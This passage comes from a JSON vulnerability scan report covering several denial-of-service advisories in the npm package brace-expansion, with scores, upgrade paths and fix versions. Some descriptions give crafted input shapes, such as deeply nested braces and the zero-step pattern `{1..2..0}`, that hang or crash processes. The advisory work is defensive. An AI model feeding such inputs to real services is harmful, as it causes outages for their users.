fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
